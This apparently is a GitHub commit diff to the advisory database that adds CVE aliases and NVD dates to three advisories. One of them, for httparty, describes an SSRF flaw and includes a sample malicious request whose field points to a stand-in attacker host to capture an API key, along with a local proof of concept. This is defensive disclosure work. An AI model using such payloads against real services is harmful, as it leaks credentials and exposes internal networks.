Skip to content

Commit 550dfc7

Browse files
1 parent 6c4d1f9 commit 550dfc7

File tree

3 files changed

+21
-7
lines changed

3 files changed

+21
-7
lines changed

advisories/github-reviewed/2025/12/GHSA-c67j-w6g6-q2cm/GHSA-c67j-w6g6-q2cm.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-c67j-w6g6-q2cm",
4-
"modified": "2025-12-23T18:46:13Z",
4+
"modified": "2025-12-24T01:08:07Z",
55
"published": "2025-12-23T18:46:13Z",
66
"aliases": [
77
"CVE-2025-68664"
@@ -59,6 +59,10 @@
5959
"type": "WEB",
6060
"url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-c67j-w6g6-q2cm"
6161
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68664"
65+
},
6266
{
6367
"type": "WEB",
6468
"url": "https://github.com/langchain-ai/langchain/pull/34455"
@@ -95,6 +99,6 @@
9599
"severity": "CRITICAL",
96100
"github_reviewed": true,
97101
"github_reviewed_at": "2025-12-23T18:46:13Z",
98-
"nvd_published_at": null
102+
"nvd_published_at": "2025-12-23T23:15:44Z"
99103
}
100104
}

advisories/github-reviewed/2025/12/GHSA-hm5p-x4rq-38w4/GHSA-hm5p-x4rq-38w4.json

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-hm5p-x4rq-38w4",
4-
"modified": "2025-12-23T19:31:10Z",
4+
"modified": "2025-12-24T01:07:33Z",
55
"published": "2025-12-23T19:31:10Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2025-68696"
8+
],
79
"summary": "httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage",
810
"details": "## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n include HTTParty\n base_uri 'http://exmaple.test/api/v1/repositories/'\n headers 'X-API-KEY' => '1234567890'\nend\n\npost '/issue' do\n request_body = JSON.parse(request.body.read)\n RepositoryClient.get(request_body['repository_id']).body\n # do something\n json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n \"repository_id\": \"http://attacker.test\",\n \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nIs this behavior considered intentional in httparty?\n\nA similar problem was reported and fixed in the HTTP client library axios in the past: \n<https://github.com/axios/axios/issues/6463>\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior: \n<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>\n\nIn my opinion, httparty should verify, right before sending the request, that either of the following conditions is met:\n\n1. The destination URL has a prefix matching `base_uri`. \n2. `base_uri` is not set.\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n ```bash\n mkdir /tmp/server1 /tmp/server2\n echo \"this is server1\" > /tmp/server1/index.html \n echo \"this is server2\" > /tmp/server2/index.html\n python -m http.server -d /tmp/server1 10001 &\n python -m http.server -d /tmp/server2 10002 &\n ```\n\n2. Create a script (for example, `main.rb`):\n\n ```rb\n require 'httparty'\n\n class Client\n include HTTParty\n base_uri 'http://localhost:10001'\n end\n\n data = Client.get('http://localhost:10002').body\n puts data\n ```\n\n3. Run the script:\n\n ```bash\n $ ruby main.rb\n this is server2\n ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.",
911
"severity": [
@@ -38,6 +40,10 @@
3840
"type": "WEB",
3941
"url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4"
4042
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68696"
46+
},
4147
{
4248
"type": "WEB",
4349
"url": "https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240"
@@ -54,6 +60,6 @@
5460
"severity": "HIGH",
5561
"github_reviewed": true,
5662
"github_reviewed_at": "2025-12-23T19:31:10Z",
57-
"nvd_published_at": null
63+
"nvd_published_at": "2025-12-23T23:15:45Z"
5864
}
5965
}

advisories/github-reviewed/2025/12/GHSA-r399-636x-v7f6/GHSA-r399-636x-v7f6.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-r399-636x-v7f6",
4-
"modified": "2025-12-23T20:08:48Z",
4+
"modified": "2025-12-24T01:08:11Z",
55
"published": "2025-12-23T20:08:48Z",
66
"aliases": [
77
"CVE-2025-68665"
@@ -97,6 +97,10 @@
9797
"type": "WEB",
9898
"url": "https://github.com/langchain-ai/langchainjs/security/advisories/GHSA-r399-636x-v7f6"
9999
},
100+
{
101+
"type": "ADVISORY",
102+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68665"
103+
},
100104
{
101105
"type": "WEB",
102106
"url": "https://github.com/langchain-ai/langchainjs/commit/e5063f9c6e9989ea067dfdff39262b9e7b6aba62"
@@ -121,6 +125,6 @@
121125
"severity": "HIGH",
122126
"github_reviewed": true,
123127
"github_reviewed_at": "2025-12-23T20:08:48Z",
124-
"nvd_published_at": null
128+
"nvd_published_at": "2025-12-23T23:15:45Z"
125129
}
126130
}

0 commit comments

Comments
 (0)